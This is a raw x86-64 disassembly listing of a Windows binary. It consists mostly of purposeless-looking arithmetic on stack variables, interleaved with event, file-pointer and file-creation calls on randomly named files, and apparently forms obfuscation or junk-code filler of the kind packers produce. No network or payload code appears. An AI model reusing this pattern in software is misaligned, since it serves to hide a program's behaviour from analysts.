movsx ecx, word [rsp + 0x110]
xor eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
mov rax, qword [rsp + 0x1038]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x44a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x978], rax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x82]
or eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1bf0], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x988], rax
mov rax, qword [rsp + 0xd38]
movzx ecx, al
mov rax, qword [rsp + 0xc70]
shr rax, cl
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xa60], rax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x9b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc3a8], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x58], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x8296
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
movzx eax, word [rsp + 0xc0]
mov word [rsp + 0x1d4], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x114], ax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa90]
mov qword [rsp + 0x44b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x510], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.tvK1zKSBEWe6bZN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2520], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x82], al
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20e0], eax
mov rax, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x10c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x740], rax
lea rax, [rsp + 0x6c]
mov qword [0x1400fd1a0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2406
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
add rax, qword [rsp + 0x3e0]
mov qword [rsp + 0xa18], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16d0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdf2b
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov rax, qword [rsp + 0x950]
mov qword [rsp + 0xfb8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9965
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [0x1400fc3a0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
or eax, ecx
mov word [rsp + 0x1d4], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0xa88], rax
mov eax, dword [rsp + 0x660]
mov rcx, qword [rsp + 0x750]
mov qword [rsp + 0x44b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0xa80]
mov qword [rsp + 0x1408], rax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x948], rax
movsx eax, word [rsp + 0x7c]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd130], ax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, 0x38
imul rax, rax, 0
mov byte [rsp + rax + 0x5b91], 1
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x84], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd71c
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
and eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12f8], rax
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
add eax, dword [rsp + 0x688]
mov dword [rsp + 0x660], eax
mov rax, qword [rsp + 0xc68]
mov qword [rsp + 0x11d8], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
movsx eax, word [rsp + 0xf0]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c], ax
movzx eax, word [rsp + 0x88]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13c], ax
lea rax, [rsp + 0x760]
mov qword [0x1400fd1a8], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov qword [rsp + 0xdb8], rax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x120]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb70], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe383
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0x7c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov eax, dword [rsp + 0x208]
mov dword [rsp + 0x56c], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x9c8], rax
movsx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d4]
add eax, ecx
mov word [0x1400fd140], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x17a0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4662
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0x19c]
sub eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x88]
add eax, ecx
mov word [rsp + 0x144], ax
movzx eax, word [rsp + 0x160]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov qword [rsp + 0xfc0], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x81]
sar eax, cl
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov eax, dword [rsp + 0x8d4]
mov ecx, dword [rsp + 0xb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a4], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x168], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xff8e
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
shl eax, cl
mov word [rsp + 0x128], ax
lea rax, [rsp + 0x9b8]
mov qword [0x1400fd1b0], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0xdb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x14a8], rax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x88]
sub eax, ecx
mov word [rsp + 0xd4], ax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xa136
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x7a0]
mov dword [rsp + 0x47c], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xd20], rax
mov rax, qword [rsp + 0xa80]
mov rcx, qword [rsp + 0x628]
mov qword [rsp + 0x44c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44c0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x11d8], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x960], rax
movzx eax, byte [str._aMl]
mov byte [0x1400fd133], al
movsx eax, word [rsp + 0xd0]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19c], ax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov word [rsp + 0x24c], ax
mov rax, qword [rsp + 0x12f8]
mov rcx, qword [rsp + 0x540]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x1418], rax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x660]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [0x1400fd158]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x140], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3b4], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb722
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x540], rax
movzx eax, word [0x1400fc398]
mov word [rsp + 0x214], ax
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x480], eax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
shl eax, cl
mov byte [rsp + 0xfb], al
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [0x1400fc390]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd38], rax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
lea rax, [rsp + 0x208]
mov qword [rsp + 0xd28], rax
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec]
and eax, ecx
mov word [0x1400fc3b4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x622a
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov qword [rsp + 0x1060], rax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1f8]
movzx ecx, al
mov rax, qword [rsp + 0xa18]
sar rax, cl
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0xd0]
sub eax, ecx
mov word [rsp + 0x54], ax
movzx eax, word [0x1400fc398]
mov word [rsp + 0x14c], ax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1720], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x968], rax
mov rax, qword [rsp + 0xa90]
mov rcx, qword [rsp + 0x7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x738]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b8], rax
lea rax, [rsp + 0x1d4]
mov qword [0x1400fd1b8], rax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x114]
sar eax, cl
mov word [rsp + 0x150], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x3c8]
mov dword [rsp + 0xbc4], eax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov rcx, qword [0x1400fc3a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x760], rax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xa48], rax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x628]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd38], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0]
add eax, ecx
mov word [rsp + 0x370], ax
movzx eax, word [rsp + 0x6c]
mov rcx, qword [0x1400fd198]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd170]
mov word [rcx], ax
mov rax, qword [rsp + 0x1038]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc90], rax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x1148], rax
movsx eax, word [0x1400fd16c]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
add rax, qword [rsp + 0xa18]
mov rcx, qword [rsp + 0x778]
mov qword [rcx], rax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0xa68], rax
movsx eax, byte [0x1400fd133]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe4], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa95e
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x218c], eax
mov eax, dword [rsp + 0x330]
mov dword [rsp + 0x110c], eax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x6c]
and eax, ecx
mov word [rsp + 0x8c], ax
mov rax, qword [0x1400fd188]
mov qword [0x1400fd1c0], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0xcf0], eax
movsx eax, word [rsp + 0xf0]
movsx ecx, word [rsp + 0x7c]
and eax, ecx
mov word [rsp + 0xd0], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0xa50], rax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x628]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1408], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x660]
shl eax, cl
mov dword [rsp + 0x348], eax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xea], al
movsx eax, word [rsp + 0xf0]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [0x1400fd1c8], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov qword [rsp + 0xd00], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x92d1
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd00]
movzx ecx, al
mov rax, qword [rsp + 0x3e0]
sar rax, cl
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [0x1400fd188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca0], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0]
sub eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.1a7rWgB9wNRQiZk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1cb8], rax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xca8], rax
mov rax, qword [rsp + 0xa80]
mov rcx, qword [rsp + 0x10c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x11d8], rax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0xf5], al
mov eax, dword [rsp + 0x8e4]
mov rcx, qword [rsp + 0x340]
mov qword [rsp + 0x44c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa4], eax
lea rax, [rsp + 0x7c]
mov qword [0x1400fd1d0], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x254], ax
movzx eax, word [rsp + 0x128]
movzx ecx, word [rsp + 0x14c]
sub eax, ecx
mov word [rsp + 0x26c], ax
mov rax, qword [rsp + 0x14a8]
mov rcx, qword [rsp + 0x3e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
mov dword [rsp + 0x63c], eax
mov rax, qword [rsp + 0x500]
movzx ecx, al
mov rax, qword [rsp + 0x1a8]
shl rax, cl
mov qword [rsp + 0xa80], rax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0x414], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1148]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x13c], ax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x748]
mov qword [rsp + 0x44d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44d0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fd128], rax
lea rax, [0x1400fc398]
mov qword [rsp + 0x658], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x45ad
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x738]
add rax, qword [rcx]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x7c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7f0]
add eax, dword [rcx]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0x20c]
mov dword [rsp + 0x678], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x60], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ff8], rax
lea rax, [rsp + 0x1418]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [0x1400fd1d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc3b8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1efb
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
and eax, ecx
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1148]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd4], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0x1288], rax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x56c]
movzx ecx, al
mov eax, dword [rsp + 0x63c]
shl eax, cl
mov dword [rsp + 0xcbc], eax
mov rax, qword [rsp + 0xc68]
mov rcx, qword [rsp + 0x1408]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
movsx eax, word [rsp + 0x370]
movsx ecx, word [rsp + 0xf0]
sar eax, cl
mov rcx, qword [rsp + 0x958]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xec]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x620]
add rax, qword [rcx]
mov qword [0x1400fd188], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x778]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb68], rax
mov rax, qword [0x1400fd128]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0xca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xfe0], rax
movzx eax, word [rsp + 0x84]
movzx ecx, word [rsp + 0x24c]
add eax, ecx
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0xa38]
mov ecx, dword [rsp + 0x7a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x818]
movzx ecx, al
mov rax, qword [rsp + 0xc68]
shr rax, cl
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov dword [0x1400fd1d8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.uddxirCeZzk7arku
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1e40], rax
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x1a0], ax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a0], ax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
movzx eax, word [rsp + 0x144]
movzx ecx, word [rsp + 0x128]
add eax, ecx
mov word [rsp + 0x24c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4921
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1c70], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa16c
mov rcx, qword [rsp + 0x1e40]
